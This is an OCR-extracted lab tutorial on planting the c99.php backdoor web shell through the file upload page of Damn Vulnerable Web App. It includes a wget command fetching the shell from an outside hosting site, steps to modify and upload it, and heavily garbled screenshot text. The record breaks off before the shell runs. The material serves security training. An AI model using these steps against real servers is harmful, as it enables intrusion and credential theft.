( Damn Vulnerable Web App (DVWA) )

{ Upload and use C99.php Backdoor shell }

Section 0. Background Information

1. What is Damn Vulnerable Web App (DVWA)?

(0]

Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is

damn vulnerable.

Its main goals are to be an aid for security professionals to test the
skills and tools in a legal environment, help web developers better

understand the processes of securing web applications and aid

teachers/students to teach/learn web application security in a class room
environment.

2. Whatisa n Upload Attack Vector?

(0]

An Upload Attack Vector exists when a website application provides the
ability to upload files.

Uploaded files represent a significant risk to applications.

The first step in many attacks is to get some code to the system to be

att acked.

Then the attack only needs to find a way to get the code executed.

Using a file upload helps the attacker accomplish the first step.

The consequences of unrestricted file upload can vary, including complete
system takeover, an overloaded file sys tem, forwarding attacks to backe
systems, and simple defacement. It depends on what the application does
with the uploaded file, including where it is stored.

3. What is c99.php?

(0]

The c99 PHP utility provides functionality for listing files, brute

forcing FTP passwords, updating itself, executing shell commands and PHP
code. It also provides for connecting to MySQL databases, and initiating

a connect - back shell session. In many ways it can be considered the web
equivalent of the rootkits that successful att ackers often download
other ways it is the malware equivalent of PHPShell itself. c99 is often

one of the utility programs that is either downloaded if a web server is
vulnerable due to being misconfigured, or can be used in a remote file

include attac k to try and execute shell commands on a vulnerable server.
Figure 6 provides a screenshot of the c99 PHP shell running on a web

server.



4. Pre - Requisite Labs

o

Damn Vulnerable Web App (DVWA): Lesson 1: How to Install DVWA in Fedora 14

5. Lab Notes

(0]

In this lab we will do the following:
1. We will download C99.php.
2. We will upload C99.php to the DVWA Upload screen.
3. We will search for sensitive database files.
4. We will extract the database password.
5. We will execute netcat from the C99.php Bind Interface.

6. Legal Disclaimer

(0]

As a condition of your use of this Web site, you warrant to

computersecuritystudent.com that you will not use this Web site for
purpose that is unlawful or that is prohibited by these terms,
conditions, and notices.

In accordance with UCC § 2 - 316, this product is provided with "no

warranties, either expressed or implied." The information contained is

provided "as -is", with "no guarantee of merchantability."

In addition, this is a teaching website that does not condone malic
behavior  of any kind.

You are on notice, that continuing and/or using this lab outside your

"own" test environment Is considered malici ous and is against the law
© 2013 No content replication of any kind is allowed without express

written permission.

Section 1: Configure Fedoral4 Virtual Machine Settings

1. Open Your VMware Playe r

o Instructions:
1. On Your Host Computer, Go To
2. Start -- > All Program -- >VMWare -- >VMWare Player
2. Edit BackTrack Virtual Machine Setting S
o Instructions:

1. Highlight fedoral4
2. Click Edit virtual machine settings


http://www.computersecuritystudent.com/SECURITY_TOOLS/DVWA/lesson1/index.html

fedoraiqd

State:
0S:
Version:
RAM:

Powered Off

Red Hat Linux

Workstation 6.5-7.x virtual machine
640 MB

Es Play virtual machine

Q
& Editvirtual machine settings

3. Edit Network Adapte r
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Instructions:
1. Highlight Network Adapter
2. Select Bridged
3. Click on the OK Button.
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Section 2: Login to Fedoral4

1. Start Fedoral4 VM Instanc e
o Instructions:
1. Start Up VMWare Player
2. Select Fedoral4
3. Play virtual machine



fedoraiqg

State:
OS:
Version:
RAM:

Powered Off

Red Hat Linux

Workstation 6.5-7.x virtual machine
640 MB

&

Play virtual machine

~

Edit virtual machine settings

2. Login to Fedoral 4
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Instructions:
1. Login: student
2. Password: <whatever you set it to>.



password: ||

Cancel
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Section 3: Open Console Terminal and Retrieve IP Address

1. Start a Terminal Consol e
o Instructions:

1. Applications -- > Terminal



€D ... | Places system @) (o [Z ¢ =  SunApr 1,10:45AM Stude
Y Accessories

[ Games

% Graphics

(&) Intemet

%4 office i ) A\

) Sound & Video

(e} : -~ B Automatic Bug Reporting Tool
= CD/DVD Creator
'S, Déja Dup Backup Tool
&) Disk Usage Analyzer
= Disk Utility
@ stLinux Troubleshooter
&= Software Log Viewer

B System Monitor

Use the command line

.
To diract input 1o this vitual machine, press QG e .T‘-maw&'ﬂr_'iﬁ

2. Switch user to roo t
o Instructions:

1. su - root
2. <Whatever you set the root password to>



root@Fedorald:~
File Edit View Search Terminal Help

[student@Fedorald ~J$ su - root
Password:
[root@Fedorals ~]# |

EREL TS vmware

3. GetIP Addres s
o Instructions:
1. ifconfig -a
o Notes:
A As indicated below, my IP address is 192.168.1.106.
A Please record your IP address.



Wed Apr 4, 2:51 AM  Stude

File Edit View Search Temminal

[root@Fedoral4 ~]# ifconfig -a

ethe Link encap:Ethernet HwWaddr ©0:0C:29:81:54:42
inet addr:)CrIGEIPWE Bcast:192.168.1.255 Mask:255.255.255.0
inet6 addr: fe80::20¢:29ff:fe81:5442/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1560 Metric:1
RX packets:2893 errors:0 dropped:0 overruns:0 frame:0
TX packets:366 errors:0 dropped:® overruns:® carrier:0
collisions:0 txqueuelen:1060
RX bytes:546934 (534.1 KiB) TX bytes:58291 (56.9 KiB)
Interrupt:19 Base address:8x2000

Help

lo Link encap:lLocal Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:48 errors:0 dropped:® overruns:0 frame:0
TX packets:48 errors:0 dropped:® overruns:® carrier:0
collisions:0® txqueuelen:®
RX bytes:3520 (3.4 KiB) TX bytes:3520 (3.4 KiB)

[root@Fedorald ~]# |}

Section 4: Fix Upload Ownership and Permissions

1. Fix Ownership and Permission S

Instructions:
1. Bring up a Terminal Console on the DVWA (Fedoral4) machine.
2. chown root:apache /var/www/html/dvwa/hackable/uploads/
3. chmod 775 /var/www/html/dvwa/hackable/uploads/
4. Is - Id /var/lwww/html/dvwa/hackable/uploads/
Known Issue:
1. By default, the /var/www/html/dvwa/hackable/uploads/ directory is
user and group owned by root.
2. In addition, the apache user did not have "write" permis Sic
allow a user to place a file in the hackable/uploads directory.
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b9 Applications Places System
N root@Fedorala:/

File Edit View Search Terminal Help

[root@Fedorald /)# chown root:apache /var/www/html/dvwa/hackable/uploads/
[root@Fedorald /)#

[root@Fedorald /]# chmod 775 /var/www/html/dvwa/hackable/uploads/

[root@Fedorald /)#

[root@Fedorald /)# s -ld /var/www/html/dvwa/hackable/uploads/

drwxrwxr-x. 2 root apache 4896 Apr 23 07:23 /var/www/html/dvwa/hackable/uploads/
[root@Fedorals /]# |}

(B root@Fedoraldy/ || B student@Fedorald:~ | (1
= HE=s%so0

Section 5: Configure BackTrack Virtual Machine Settings

1. Open Your VMware Playe r
o Instructions:

1. On Your Host Computer, Go To
2. Start -- > All Program -- >VMWare -- >VMWare Player

2. Edit BackTrack Virtual Machine Setting S
o Instructions:

1. Highlight BackTrack5R1
2. Click Edit virtual machine settings



are Payer FHie v !

BackTrack5R1

State: Powered Off
0S: Ubuntu
Version: Workstation 6.5-7.x virtual machine
RAM: 512 M8

E’B Play virtual machine

<
j’ Edit virtual machine settings @

3. Edit Network Adapte r
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Instructions:
1. Highlight Network Adapter
2. Select Bridged
3. Click on the OK Button.



Virtual Machine Settings

Device Summary

¥ Memory 512 M8

[ Processors 1

i Hard Disk (SCSI) 20GB

~JCO/DVD (IDE)  Auto detect

&4 Floppy Auto detect

«.Network Adapter  Bridged

B3 USB Controler  Present

&) sound Card Auto detect

@Pmter Present

& Display Auto detect
| Add.. || Remove |

Device status
i Connected
|V] Connect at power on

Network connection

2. P © Bridged: Connectad drectly to the physical network

F

|| Repicate physical network connection state

() NAT: Used to share the host's IP address
() Host-only: A private network shared with the host

_ LAN segment:

| concel |[ e

Section 6: Login to BackTrack

1. Start BackTrack VM Instanc

o Instructions:

1. Start Up VMWare Player
2. Select BackTrackb5R1
3. Play virtual machine



BackTrack5R1

State: Powered Off
0S: Ubuntu
Version: Workstation 6.5-7.x virtual machine
RAM: 512MB

E@‘ Play virtual machine <:

T
& Edit virtual machine settings

2. Login to BackTrac k
o Instructions:

1. Login: root
2. Password: toor or <whatever you changed it to>.
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3. Bring up the GNOM E
o Instructions:

1. Type startx

uDOD:DO:Or
PCnet/PCI
intel 0000
registered as
1 cards_found
Fusion MPT SPI Hc
nptspi 0000:00:10,

t driver 3

Initiating bringup
3C1030 BO:

Attached s
dal Cac
sdal A

dal Cache
[sda] Ass
sdal Attached S

Revolution

I >l (m poration

Ul 35 Z21.Apr.2008 tsbogend@alpha.franken.de

PCI INT A -> GSI 19 (level, low) -> IRQ 19
: Intel 440BX (hlp -

IT 7 70A at 0x2000 0: : 78

3 AGP aperture

PCnet/PCI 11

assigned IRQ 19

79C976A

.04.18

PCI INT A -> GSI 17 (level, low) -> IRQ 17
Capabilities={Initiator}
3C1030 BO, FuRev=01032920h, Ports=1,
ficcess UHware, UNuware
Beginning Domain Validation
Domain Validation skipping write
Ending Domain Validation
FAST-40 WIDE SCSI 80.0 MBss
41943040 512-byte logical
Write Protect is off
Cache data unavailable
Assuming drive cache: write
si generic sgl type ©
data unavailable
ming drive cache:
daS >

MaxQ=128, IRQ=17
Virtual S 1.0 PQ: © ANSI:

tests

ST (25 ns,
blocks: (21

offset 127)
.4 GBs20.0 GiB)

through

urite through
data unavailable
uning drive cache:

I disk

write through
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Section 7: Open Console Terminal and Retrieve IP Address

1. Open a console termina I
o Instructions:

1. Click on the console terminal
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2. GetIP Addres s
o Instructions:
1. ifconfig -a
o Notes:
A As indicated below, my IP address is 192.168.1.105.
A Please record your IP address.



Sun Mar 18, 10:51 AM

root@bt: ~

root@bt:-# ifconfig -a
ethe Link encap. Waddr 06:0¢:29:96:13:78
1¢ Bl Bcast:192.168.1.255 Mask:255.255.255.0
grs29ff:fe90:1378/64 Scope:Link
up BROADCAST RUNNING MULTICAST MTU:1560 Metric:1
RX packets:870 errors:0 dropped:@ overruns:0 frame:0
TX packets:118 errors:@ dropped:@ overruns:® carrier:0
collisions:0 txqueuelen:1600
RX bytes:105401 (185.4 KB) TX bytes:27674 (27.6 KB)
Interrupt:19 Base address:0x2000

lo Link encap:Local Loopback
inet addr:127.0.6.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:113 errors:0 dropped:® overruns:@ frame:@
TX packets:113 errors:0@ dropped:® overruns:8 carrier:0
collisions:® txqueuelen:®
RX bytes:7793 (7.7 KB) TX bytes:7793 (7.7 KB)

root@bt:-# ]

[root@bt: /pentest/exp.. [root@bt: ~] =1 root@bt: ~ ‘f' =

EREL T e vmware

Section 8: Download c99:php

1. Open a console termina I
o Instructions:

1. Click on the console terminal
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2. Create msfpayloa d
o Instructions:
1. mkdir - p /root/backdoor
2. cd /root/backdoor/
3. waget http://r57.gen.tr/shell/c99.rar
4. Is -1c99.rar



55 BackTrackSR1 - VMware Player (Non-commercial use only) -" [eT@]

applications Places System [ _ Tue Feb 26, 10:13 P

¥ root@bt: ~/backdoor

root@bt: /# mkdir -p /root/backdoor

root@bht: /#

root@bt: /#

root@bt: /# cd /root/backdoor/ «

root@bt:~/backdoor#

root@bt aw-'ifw'#

root@bt: r# wget http://r57.gen.tr/shell/c99.rar «

--2013-02- 26 22 12 32-- bhttp://r57.gen.tr/shell/c99.rar
Resolvmg r57.gen.tr... 31.210.98.29
Connecting to r57.gen.tr|31.219.98.29]:89... connected.
HTTP request sent, awaiting response... 200 OK
(Length: 41044 (40K) [application/x-rar-compressed]
Saving to: "c99.rar’

100%( >] 41,044 71.4K/s  in 0.6s
2013-82-26 22:12:33 (71.4 KB/s) - "c99.rar' saved [41044/41044]

|

root@bt:-/backdoor# 1s -1 ¢99.rar

-rw-r--r-- 1 root root 41044 2012-06-26 16:00 c99.rar «

root@bt:~/backdoor#

root@bt: por#
root@bt: loor# |}

1 root@bt: ~/backdoor &) r57.txt - c99.txt - 157 s...

3. Edit PHONE_HOME.ph p
o Note(FYI):
A Arrar file is a type of compress format that is seen more in the
windows environment than in linux.
A Also, we will edit the c99.php file with the sed utility.
o Instructions:
0. unrar x c99.rar
A Extract c99.php
1. cp c99.php c99.php.bkp
2. head -1c99.php
A Notice how the first line does NOT contain "<?php".
3. sed -i'ls/M*$/<?php/g' c99.php
A This only replaces the first line of file with "<?php".
4. head -1 c99.php
A Notice how the first line DOES contain "<?php".



5. gzip c99.php
A | compress ¢99.php, because DVWA does not allow you to upload
files greater than 10000 byt es.
A | use gzip instead of rar, because gzip pretty much comes
standard on most flavors of linux.

6. Is -I
"33 BukTrackSRl-VMwarePlayer(Non;;mdal useonly) — ‘w‘ - - -’l‘:’ﬂg
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x root@bt: ~/backdoor

root@bt:~/backdoor# unrar x c99.rar

UNRAR 3.90 beta 2 freeware Copyright (c) 1993-2009 Alexander Roshal

Extracting from c99.rar

Extracting ¢99.php 0K
All 0K
root@bt:-/backdoor#

root@bt:-/backdoor# cp ¢99.php ¢99.php.bkp
root@bt:~/backdoor#
root@bt:~/backdoor#

root@bt:~/backdoor# head -1 C99.php¢
<?

root@bt:~/backdoor#

root@bt:~/backdoor#
root@bt:~/backdoor# sed -1 '1 s/~.*$/<?php/g’ c99.php¢
'root@bt: backdoor#
root@bt:-/backdoor#

root@bt:~/backdoor# head -1 c99.php¢
<7php

root@bt:-/backdoor#

root@bt:~/backdoor#

root@bt:~/backdoor# gzip c99.php

lroot@bt:-/backdoor#

root@bt:-/backdoor#

root@bt:~/backdoor# 1ls -1

total 240

~Mw-r--r-- 1 root root 153275 2013-02-26 22:32 ¢99.php.bkp
-rw-r--r-- 1 root root 43786 2013-02-26 22:32 ¢99.php.gz
-fw-r--r-- 1 root root 41644 2012-06-26 16:00 c99.rar

™ [~ root@bt: ~/backdoor ) r57.txt - c99.txt - 157 s...

Section 9: Login to DVWA

1. Start Firefo X
o Instructions:

1. Click on Firefox
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2. Loginto DVW A
o Instructions:
1. Start up Firefox on BackTrack
2. Place http:// 192.168.1.106 /dvwa/login.php in the address bar.
A Replace 192.168.1.106 with the IP address of the DVWA
(Fedoral4) machine obtained in (Section 3, Step 3).
3. Login: admin
4. Password: password
5. Click on Login
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* Damn Vulnerable Web App (DVWA) - Login - Mozilla Firefox

Damn Winerable Web App (OV... B3
< © | htp/192.168.1.106/dvwallogin. php < vl gy Q| ¢

DVWA)

Username
admin «

Password

) Damn Vulnerable Web .., ™) root

= =GO

Section 10: Set Security Level

1. Set DVWA Security Leve I
o Instructions:
1. Click on DVWA Security, in the left hand menu.
2. Select "low"
3. Click Submit



Places Systen Mon Apr 16, 6:17 AM &

* Damn Vulnerable Web App (DVWA) v1.0.7 :: DVWA Security - Mozilla Firefox

Damn Vulnerable Web App (DV...

<« © |[B http/192.168.1.106/dvwa/security.php MR T Q

Home . DVWA Security »
Instructions |
Setup | Script Security

Security Levei Is currently low.

Brute Force |
_ You can set the security level to low, medium or high
Command Execution
= . The secunty level changes the vuinerabiity level of DVWA
CSRF |
File Inclusion | ) (e <= 3.
QL Injection J medium ‘
SQL Injection (Blind)
Upload |
v.0.6 (PHP-Intrusion Detection System) is a security layer for PHP based web applications
XSS reflected ]
You can enable PHPIDS across this site for the duration of your session
XSS stored ]

PHPIDS is currently disabled. [cnabie PHPIDS)

-1

% Damn Vilnerable Web ...’ ™) root@bt: - [

Section 11: Upload PHP Payload

1. Upload Men u
o Instructions:
1. Select "Upload"” from the left navigation menu.
2. Click Browse



B Damn Wuinerable Web App (DV...
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* Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: File Upload - Mozilla Firefox

+

« S | B hitp://192.168.1.106/dvwajvulnerabilities/upload/ RE T Q

Home

|

'_lnm;

I

Brute Force

|

Command Execution

Flle Inclusion
SQL Injection

sQL Injection (Blind)

g T

XSS stored

I
|
]
]
l
|
|
l
|

D\WA)

Vulnerability: File Upload

Choose an image to upioad

| Browse... « y 2

More info

— ey
S Scripts Currently Forbidden | <SCRIPT>: 1 | <OBJECT>: 0 | Options... |

= =] root@bt: ~/backdoor

To direct input to this vitual machine. press QirdeG.

) Damn Vulnerable Web ... )

EREl-ET Wielel vmware

(0}
2. Navigate to /root/backdoor/c99.php.g z
o Instructions:

1. Click on root icon, then the backdoor folder

2. Click on c99.php.gz

3. Select Open



{5 BackTrackSR1 - VMware Player (Non-commercial use only) - AR T &

Player v | i v b W W »*» = LR
| Tue Feb 26, 10:46 F

File Upload
- # | <« mroot backdoor
B e
| Location: | c99.php.gz

Places: Name size  Modified v
Q search W c99phpgz 2 428KB 22:32
& Recently Used ¢99.php.bkp 149.7 KB 22:32
& root & c99.rar 40.1KB 06/26/2012
B Desktop i
s File System
. Floppy Drive

] root@bt: ~/backdoor ) Damn Winerable Web ...

3. Upload c99.php.g z
o Instructions:
1. Click the Browse button and navigate to /root/backdoor/c99.php.gz
2. Click the Upload Button
o Note(FYI):
A Hopefully you will receive a successfully uploaded messa ge
below.



4. Activate PHONE_HOME.ph p
o Instructions:
0. http:// 192.168.1.106 /dvwa/hackable/uploads/
A Replace 192.168.1.106 with the IP address of the DVWA
(Fedoral4) machine obtained in (Section 3, Step 3).
1. Notice c99.php.gz is listed
2. Click the Back Button after you read the below Note.
o Note(FYI):
A Okay this is great and all, but we still have a problem.
A The problem is that we cannot execute a compressed php file.



